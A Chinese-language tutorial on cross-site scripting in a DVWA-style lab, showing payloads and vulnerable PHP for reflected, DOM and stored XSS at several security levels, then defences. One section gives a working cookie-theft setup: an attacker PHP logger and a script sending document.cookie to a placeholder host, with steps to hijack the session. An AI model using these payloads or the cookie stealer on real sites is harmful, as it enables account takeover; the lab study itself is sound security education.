xss总结(一直更新)
反射型:
在表单输入jack
网页源代码:<pre>Hello jack</pre>
测试:
低级别:<script>alert('xss')</script>
代码:直接对输入判断,没有任何安全过滤
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
中级别:<scr<script>ipt>alert('xss')</script>
代码:用str_replace函数,将<script>替换掉,但不严格,可以绕过
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
高级别:使用事件:11</pre><img src=1 onerror=alert('xss')><pre>22 一带任何script的标志
代码:正则表达式做替换,使用通配符,对script相关的替换掉,但对事件型的构造语句没有进行过滤
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
最高级别代码:严格,加了token,htmlspecialchars()可对输入参数进行实体转义,输入的<,>等都是会当做实体字符输出
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
DOM型:
可把DOM理解为一个一个访问html的标准编程接口。
不需要后台服务器的参与
测试:
' onclick=alert('xss')// 先闭合单引号,用onclick事件,再用//注释掉后边的单引号
'><img src=1 onerror=alert('xss')><' 插入图片,并发生错误事件,再闭合后边的
网页源代码:
<!DOCTYPE html>
<html>
<body>
<script>
function xsstest(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href=' "+str+" '>testlink</a>";
}
</script>
<input type="text" id="text" value=""/>
<input type="button" value="write" onclick="xsstest()">
<div id='t'></div>
</body>
</html>
存储型:
输入框长度绕过:
<input name="txtName" size="30" maxlength="10" type="text">
通过firebug修改长度即可
或者用burp suit抓包重放
网页源代码:
<div id="guestbook_comments">Name: tttt<br />Message: ttttt<br /></div>
低级别:
测试:<script>alert('xss')</script>
代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );//trim 移除字符串两侧的空白字符(默认)或其他预定义字符
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message ); //去掉反斜杠
$message = mysql_real_escape_string( $message ); //可用本函数来预防数据库攻击,过滤特殊字符,对sql语句进行转义,如',转义为实体,输出到前端时没有处理
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
中级别:
测试:<scr<script>ipt>alert('xss')</script>
代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );//strip_tags()剥去字符串中的html标签 ; addslashes()在每个双引号前添加反斜杠
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message ); // htmlspecialchars()把预定义的字符如<>&'"转为HTML实体
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
高级别:
测试:<img src=1 onerror=alert('xss')>
代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
更高级别代码:很严格
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysql_real_escape_string( $name );
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
盗取cookie:
攻击者代码:
<?php
$cookie=$_GET['cookie'];
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$cookietxt=fopen('cookie.txt','a');
fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer.""); 注意双引号,容易出错
fclose($cookietxt);
?>
脚本端:
<script>
document.write('<img src="http://ip/cookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');
</script>
获取到cookie后,用firebug找到cookie,新建cookie
加入cookie,用referer来提交,无需输入帐号密码直接登录进去!
XSS防范措施:
1.对前端输入做过滤和编码:
比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等,输入检查需要在服务器端完成,在前端完成的限制是容易绕过的;
对特殊字符进行过滤和转义;
2.对输出做过滤和编码:在变量值输出到前端的HTML时进行编码和转义;
3.给关键cookie使用http-only
xss总结(一直更新)的更多相关文章
- 2020/1/29 PHP代码审计之进一步学习XSS【持续更新】
0x00 上午学习了XSS漏洞,中午吃饭想了想,还是思考的太浅层了,这种老生常谈的东西对于现在的我意义不大.现在我需要的是思考.于是就有了这个随笔.在本文中,我会持续更新一些XSS的深入思考,payl ...
- Web安全基础实践
Web安全基础实践 标签(空格分隔): <> 目录 基础问题回答 WebGoat下载安装 SQL注入攻击 - SQL字符串注入(String SQL Injection) - 数字型SQL ...
- xss靶场大通关(持续更新ing)
xss秘籍第一式(常弹) (1)进入自己搭建的靶场,发现有get请求,参数为name,可进行输入,并会将输入的内容显示于网页页面 (2)使用xss的payload进行通关: http://127. ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- xss篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题
前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 0x01 跨站脚本攻击漏洞(XSS),是客户端脚本安全中的头号大敌,owasp top10 屡居榜首,由于攻击手法较多,开发者水平不一 ...
- dedecms功能性函数封装(XSS过滤、编码、浏览器XSS hack、字符操作函数)
dedecms虽然有诸多漏洞,但不可否认确实是一个很不错的内容管理系统(cms),其他也不乏很多功能实用性的函数,以下就部分列举,持续更新,不作过多说明.使用时需部分修改,你懂的 1.XSS过滤. f ...
- 廖雪峰js教程笔记12 用DOM更新 innerHMTL 和修改css样式
拿到一个DOM节点后,我们可以对它进行更新. 可以直接修改节点的文本,方法有两种: 一种是修改innerHTML属性,这个方式非常强大,不但可以修改一个DOM节点的文本内容,还可以直接通过HTML片段 ...
- XSS 初识
xss(跨站脚本攻击)xss是指攻击者在网页中嵌入客户端脚本,通常是javascript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将在用户的浏览器上被解析执行.重点是“脚本” ...
- [转]XSS现代WAF规则探测及绕过技术
初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等: 2.如果 ...
随机推荐
- oracle rank()和dense_rank(), row_number() 的区别
转自:http://www.linuxidc.com/Linux/2015-04/116349.htm 假设现在有一张学生表student,学生表中有姓名.分数.课程编号,现在我需要按照课程对学生的成 ...
- Mysql limit offset用法举例
转自:http://blog.csdn.net/iastro/article/details/53037600 Mysql limit offset示例 例1,假设数据库表student存在13条数据 ...
- 微信小程序 --- 完成小程序支付功能
最近开发小程序,一直在看小程序的支付.经过一天的努力,小程序支付功能最终实现了. 下面感谢 csdn 博主:千堆雪惹尘埃 发布的 " 小程序与php 实现微信支付 " 原文地址: ...
- angularJs初体验,实现双向数据绑定!使用体会:比较爽
使用初体验:ng 双向数据绑定: 最简单的双向数据绑定:(使用默认模块控制) <body ng-app> <input type="text" ng-model= ...
- 摄像头的管理(camera) ---- HTML5+
模块:camera Camera模块管理设备的摄像头,可用于拍照.摄像操作,通过plus.camera获取摄像头管理对象. 应用场景:保存自拍,保存照片,上传照片,保存视频,上传视频: 通过之前的模块 ...
- onethink文章详情如何做上一篇和下一篇!
其实很简单,如果要做上一篇和下一篇,只要知道当前文章ID的前一个ID和后一个ID即可: //上一篇文章 $prewhere = array(); $prewhere['id'] = array('LT ...
- 【git】------git开发过程中的使用流程------【巷子】
001.创建仓库 002.新建项目 003.初始化仓库 这一步不需要做 git init : 文件夹中会多出一个隐藏的.git文件 004.克隆项目 git clone <项目地址> 0 ...
- js jquery.pagination.js分页
1.使用插件为 jquery.pagination.js ,如果没有这个js文件的话,我可以给发个. 首先引用 jquery.pagination.js (分页js),跟pagination.css( ...
- Wireshark分析之TCP协议(二)
(1)TCP首部格式 源端口: 用来传输数据报的端口 目标端口: 数据包将要发送到的端口 序号: 用来表示一个TCP片段.这个值用来表示数据流中的部分数据没有丢失 确认号: 表示通信中希望从另一 ...
- html中使用JS实现图片轮播效果
1.首先是效果图,要在网页中实现下图的轮播效果,有四张图片,每张图片有自己的标题,然后还有右下角的小方框,鼠标悬浮在小方框上,会切换到对应的图片中去. 2.先是HTML中的内容,最外层是轮播图整个的容 ...